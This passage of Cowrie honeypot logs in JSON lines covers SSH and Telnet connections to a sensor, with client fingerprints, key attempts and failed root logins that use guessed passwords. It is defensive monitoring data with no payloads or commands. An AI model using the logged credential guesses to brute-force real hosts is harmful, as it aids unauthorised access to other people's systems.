ss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:02.703233Z","src_ip":"41.181.156.205","session":"4e637cd8e295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roshan","message":"login attempt [root/roshan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:03.723562Z","src_ip":"41.181.156.205","session":"4e637cd8e295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:04.975221Z","src_ip":"41.181.156.205","session":"4e637cd8e295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.47","src_port":33212,"dst_ip":"10.17.0.5","dst_port":22,"session":"3723581c1d2c","protocol":"ssh","message":"New connection: 78.111.67.47:33212 (10.17.0.5:22) [session: 3723581c1d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.228271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.233515Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.327061Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:31:33:22:3a:e0:59:27:2c:f7:a5:91:7f:df:db:22","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOnpYCUYU1GiHSTF7w9AB1Pvk8yV6XOo3Ur0lqQOPLvaTqHZtBEdrK9uf9hP+tMj7BGMHuCQz9Aqjd+nHPlxDqB0/jcBO49pKLhlTKJQglf6JOlXJ6iewkSPX4TzSijr2eTEXpXUBQ3H2Ev4dS56h3CxnULT2pto+lIK3sMKXWHZAAAAFQCPmdWpEcUxkczVjUCK/24QXrkeOQAAAIEAvhE8O2fDdqMpYUPFkLL6cii0/kzyZNwISV5O2rd9LoqkLPi44VO57qk7VHAtoFZJUSqKiDx71eOQAfmKAa6k8iBVIpPdu187vg8I0oGbUQo6ZoXyOFQmSTNkymZYRUZ8zq2ZeF0EWrpvarnC4MW/9n9r2WhAJTxvoJfJbpKTCkAAAACASr3PQ05e0j7t9rbIA+r9YnX1aUaPVDuhwkkiC0YXLQ+jPLlzo+6Bmqx94GMBFXvwNUhyrJeqqh+Sb2+VjG4ERNFy+DelGTJTpSKYDxssb69957oAIWc/jsE3HG0MSH3V9sqt0vLx8pFLaM3euoR6Re6mYpnzZfcjPkdoQxv1qU0=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 39:31:33:22:3a:e0:59:27:2c:f7:a5:91:7f:df:db:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.768645Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:31:33:22:3a:e0:59:27:2c:f7:a5:91:7f:df:db:22","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOnpYCUYU1GiHSTF7w9AB1Pvk8yV6XOo3Ur0lqQOPLvaTqHZtBEdrK9uf9hP+tMj7BGMHuCQz9Aqjd+nHPlxDqB0/jcBO49pKLhlTKJQglf6JOlXJ6iewkSPX4TzSijr2eTEXpXUBQ3H2Ev4dS56h3CxnULT2pto+lIK3sMKXWHZAAAAFQCPmdWpEcUxkczVjUCK/24QXrkeOQAAAIEAvhE8O2fDdqMpYUPFkLL6cii0/kzyZNwISV5O2rd9LoqkLPi44VO57qk7VHAtoFZJUSqKiDx71eOQAfmKAa6k8iBVIpPdu187vg8I0oGbUQo6ZoXyOFQmSTNkymZYRUZ8zq2ZeF0EWrpvarnC4MW/9n9r2WhAJTxvoJfJbpKTCkAAAACASr3PQ05e0j7t9rbIA+r9YnX1aUaPVDuhwkkiC0YXLQ+jPLlzo+6Bmqx94GMBFXvwNUhyrJeqqh+Sb2+VjG4ERNFy+DelGTJTpSKYDxssb69957oAIWc/jsE3HG0MSH3V9sqt0vLx8pFLaM3euoR6Re6mYpnzZfcjPkdoQxv1qU0=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.773087Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:01:a5:83:c8:7f:26:91:26:b4:0c:75:e9:5f:7f:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCabcz3FT8zFiGwj9LzYBcn/t80tvM1v8Hok0Sq5/AiunE5M4/SoVkWxHmT3VtuyeUEthcXWob9OzSeNbFAG4vJCl3f6aKGwxWXlum4gBZpRCYmwxZl6Izb9KNhw73uRhXpKZaQ8Fnw623Hd8fcHjHiEsDZKxkDqKYCurBMMexvRPINvBb/joU5/7ZnX2FXjJMsOz5lDp+qRqxVTAOit8u96L6RT1Pylu7lq8CiCbMlLAgs4Ke43ZyVcyRRGIzCXU2FjSoBo6jsIJx3vXxG7ooOdrrSwngQGeHbWDg1vqCcm8g/XV4/qfG+wr24feWJgXiX62e+EQFGtxD4Khvkv5x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:01:a5:83:c8:7f:26:91:26:b4:0c:75:e9:5f:7f:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.867264Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:01:a5:83:c8:7f:26:91:26:b4:0c:75:e9:5f:7f:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCabcz3FT8zFiGwj9LzYBcn/t80tvM1v8Hok0Sq5/AiunE5M4/SoVkWxHmT3VtuyeUEthcXWob9OzSeNbFAG4vJCl3f6aKGwxWXlum4gBZpRCYmwxZl6Izb9KNhw73uRhXpKZaQ8Fnw623Hd8fcHjHiEsDZKxkDqKYCurBMMexvRPINvBb/joU5/7ZnX2FXjJMsOz5lDp+qRqxVTAOit8u96L6RT1Pylu7lq8CiCbMlLAgs4Ke43ZyVcyRRGIzCXU2FjSoBo6jsIJx3vXxG7ooOdrrSwngQGeHbWDg1vqCcm8g/XV4/qfG+wr24feWJgXiX62e+EQFGtxD4Khvkv5x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.873308Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:d4:a5:fa:5c:e1:04:87:12:50:0e:6f:ad:f1:ec:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb1ZsRsJWFkWppnlNbeISqzQWrmqVc7xwF1doRBXF2HKTmFxs+y/Sad3oD9eYBaMqM4nYFiqoKTsGn6pJoWqJlhdD5JP7htCMJaR59xFv8C1a88RB26exFUvGWE8ZJmHO7/ceEquYA54jjfIib/15w9JA5526sxGiAQ4P475wjfyfu3qHIy91PUgUFJ2aGrftXRUNW5yxddvQobSA+coImCA9cukYotEfjIFFZV/TR+XWqH6Ij1a2r5z8w03FGLcWv4H4LgJwoYvW688CEnwINJ2MYrZK37oZyCposv7gssV+mEweJxexDjrW7vWZlTtf9swCM4ln3sJWpAQzgv5eN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:d4:a5:fa:5c:e1:04:87:12:50:0e:6f:ad:f1:ec:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.991990Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:d4:a5:fa:5c:e1:04:87:12:50:0e:6f:ad:f1:ec:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb1ZsRsJWFkWppnlNbeISqzQWrmqVc7xwF1doRBXF2HKTmFxs+y/Sad3oD9eYBaMqM4nYFiqoKTsGn6pJoWqJlhdD5JP7htCMJaR59xFv8C1a88RB26exFUvGWE8ZJmHO7/ceEquYA54jjfIib/15w9JA5526sxGiAQ4P475wjfyfu3qHIy91PUgUFJ2aGrftXRUNW5yxddvQobSA+coImCA9cukYotEfjIFFZV/TR+XWqH6Ij1a2r5z8w03FGLcWv4H4LgJwoYvW688CEnwINJ2MYrZK37oZyCposv7gssV+mEweJxexDjrW7vWZlTtf9swCM4ln3sJWpAQzgv5eN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:09.996367Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:cd:54:6b:34:fc:c9:97:bd:1d:a1:33:f1:f6:a3:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDUTBmWHSgo7Us7z0clZ6nQjcGEqxlOcHD4zcK76uSpZ7NrkWUW6W+fG2AfpGwAc3Go/btzbfRyibLjN/pmMp7djUGXXhOMAAXCXNDc+5WrI0vUU+DP/eUViRWYILp04dAKKA4Vp6zORgLsQn9wFOTP9uGqeLAFtADqQB8AtR/tZDLEMSayt3E5u8vQQbIXUMdYpPxoajjJ5Ca+2+fk3p0v7T1vScmgw4XkrKpwr1hChgSr29Cl9DGrIFkRTsW/FJKGT1cZhRNX0XMxk2EyB+BFcjYaudnr391/s0MAymnfWMdK6dI8HeoDrb2VZHu1rWTHXyOcgOGI0MugEU4duHR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:cd:54:6b:34:fc:c9:97:bd:1d:a1:33:f1:f6:a3:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:10.107000Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:cd:54:6b:34:fc:c9:97:bd:1d:a1:33:f1:f6:a3:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDUTBmWHSgo7Us7z0clZ6nQjcGEqxlOcHD4zcK76uSpZ7NrkWUW6W+fG2AfpGwAc3Go/btzbfRyibLjN/pmMp7djUGXXhOMAAXCXNDc+5WrI0vUU+DP/eUViRWYILp04dAKKA4Vp6zORgLsQn9wFOTP9uGqeLAFtADqQB8AtR/tZDLEMSayt3E5u8vQQbIXUMdYpPxoajjJ5Ca+2+fk3p0v7T1vScmgw4XkrKpwr1hChgSr29Cl9DGrIFkRTsW/FJKGT1cZhRNX0XMxk2EyB+BFcjYaudnr391/s0MAymnfWMdK6dI8HeoDrb2VZHu1rWTHXyOcgOGI0MugEU4duHR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:10.111070Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:4c:c7:48:40:ba:2f:88:5c:8f:b3:9e:4c:83:ee:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfrkNh7FZl2uxjGw0LV+soOGVN0ib9RATRjIxcMPtw6KckoiwoLYNce9ezGdoqDqMFkrEhR1mDyzJfwyqXqtECf1wxBBqklygdgrbr7IW/5/PY9qobeAEpMUUgAos+La1UHv5nFVkbXmuZZNfTD4EVxXGFFpO0uZ2t3nRdweO3LYOOPkI4ZqS9mQEMPq7XIiUWCaQYhTgk4gbLzT9kppdtJ1n8Xdd9nMwEGTQQ1HIn6SZ6TSqRVEHULk+RJprZd2D9JhzQ7I1zQvJfcL8stHSexcfX+JApKiGhswy1neoxr/cZfrgtHB30M5JmnO9RiCzd7w/sejVnJN4an7Cbwjqj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:4c:c7:48:40:ba:2f:88:5c:8f:b3:9e:4c:83:ee:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:10.205392Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:4c:c7:48:40:ba:2f:88:5c:8f:b3:9e:4c:83:ee:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfrkNh7FZl2uxjGw0LV+soOGVN0ib9RATRjIxcMPtw6KckoiwoLYNce9ezGdoqDqMFkrEhR1mDyzJfwyqXqtECf1wxBBqklygdgrbr7IW/5/PY9qobeAEpMUUgAos+La1UHv5nFVkbXmuZZNfTD4EVxXGFFpO0uZ2t3nRdweO3LYOOPkI4ZqS9mQEMPq7XIiUWCaQYhTgk4gbLzT9kppdtJ1n8Xdd9nMwEGTQQ1HIn6SZ6TSqRVEHULk+RJprZd2D9JhzQ7I1zQvJfcL8stHSexcfX+JApKiGhswy1neoxr/cZfrgtHB30M5JmnO9RiCzd7w/sejVnJN4an7Cbwjqj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:10.211599Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:10.306233Z","src_ip":"78.111.67.47","session":"3723581c1d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":42484,"dst_ip":"10.17.0.5","dst_port":23,"session":"db1754810859","protocol":"telnet","message":"New connection: 167.71.238.254:42484 (10.17.0.5:23) [session: db1754810859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:12.946969Z"}
{"eventid":"cowrie.session.closed","duration":16.66660451889038,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:29.613265Z","src_ip":"167.71.238.254","session":"db1754810859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":40660,"dst_ip":"159.203.135.109","dst_port":22,"session":"8634c265be93","protocol":"ssh","message":"New connection: 2.27.36.16:40660 (159.203.135.109:22) [session: 8634c265be93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:43.861404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:43.866183Z","src_ip":"2.27.36.16","session":"8634c265be93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:43.966789Z","src_ip":"2.27.36.16","session":"8634c265be93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bbs123","message":"login attempt [root/bbs123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:44.397170Z","src_ip":"2.27.36.16","session":"8634c265be93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:45.507130Z","src_ip":"2.27.36.16","session":"8634c265be93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":47674,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cba5a0e8397","protocol":"ssh","message":"New connection: 190.85.41.170:47674 (159.203.135.109:22) [session: 8cba5a0e8397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:50.816433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:50.821373Z","src_ip":"190.85.41.170","session":"8cba5a0e8397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:50.894394Z","src_ip":"190.85.41.170","session":"8cba5a0e8397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g9q7jreo","password":".GxRJez2m1MHgY2j4lgG","message":"login attempt [g9q7jreo/.GxRJez2m1MHgY2j4lgG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:51.226455Z","src_ip":"190.85.41.170","session":"8cba5a0e8397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:52.303798Z","src_ip":"190.85.41.170","session":"8cba5a0e8397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":58134,"dst_ip":"10.17.0.5","dst_port":22,"session":"d692ee369bed","protocol":"ssh","message":"New connection: 43.135.166.146:58134 (10.17.0.5:22) [session: d692ee369bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:02.543520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:02.551986Z","src_ip":"43.135.166.146","session":"d692ee369bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:02.626426Z","src_ip":"43.135.166.146","session":"d692ee369bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dileep","message":"login attempt [root/dileep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:02.934527Z","src_ip":"43.135.166.146","session":"d692ee369bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:04.012254Z","src_ip":"43.135.166.146","session":"d692ee369bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":54494,"dst_ip":"159.203.135.109","dst_port":22,"session":"937376804c5e","protocol":"ssh","message":"New connection: 41.181.156.205:54494 (159.203.135.109:22) [session: 937376804c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:32.685524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:32.691389Z","src_ip":"41.181.156.205","session":"937376804c5e","protocol":"ssh"}
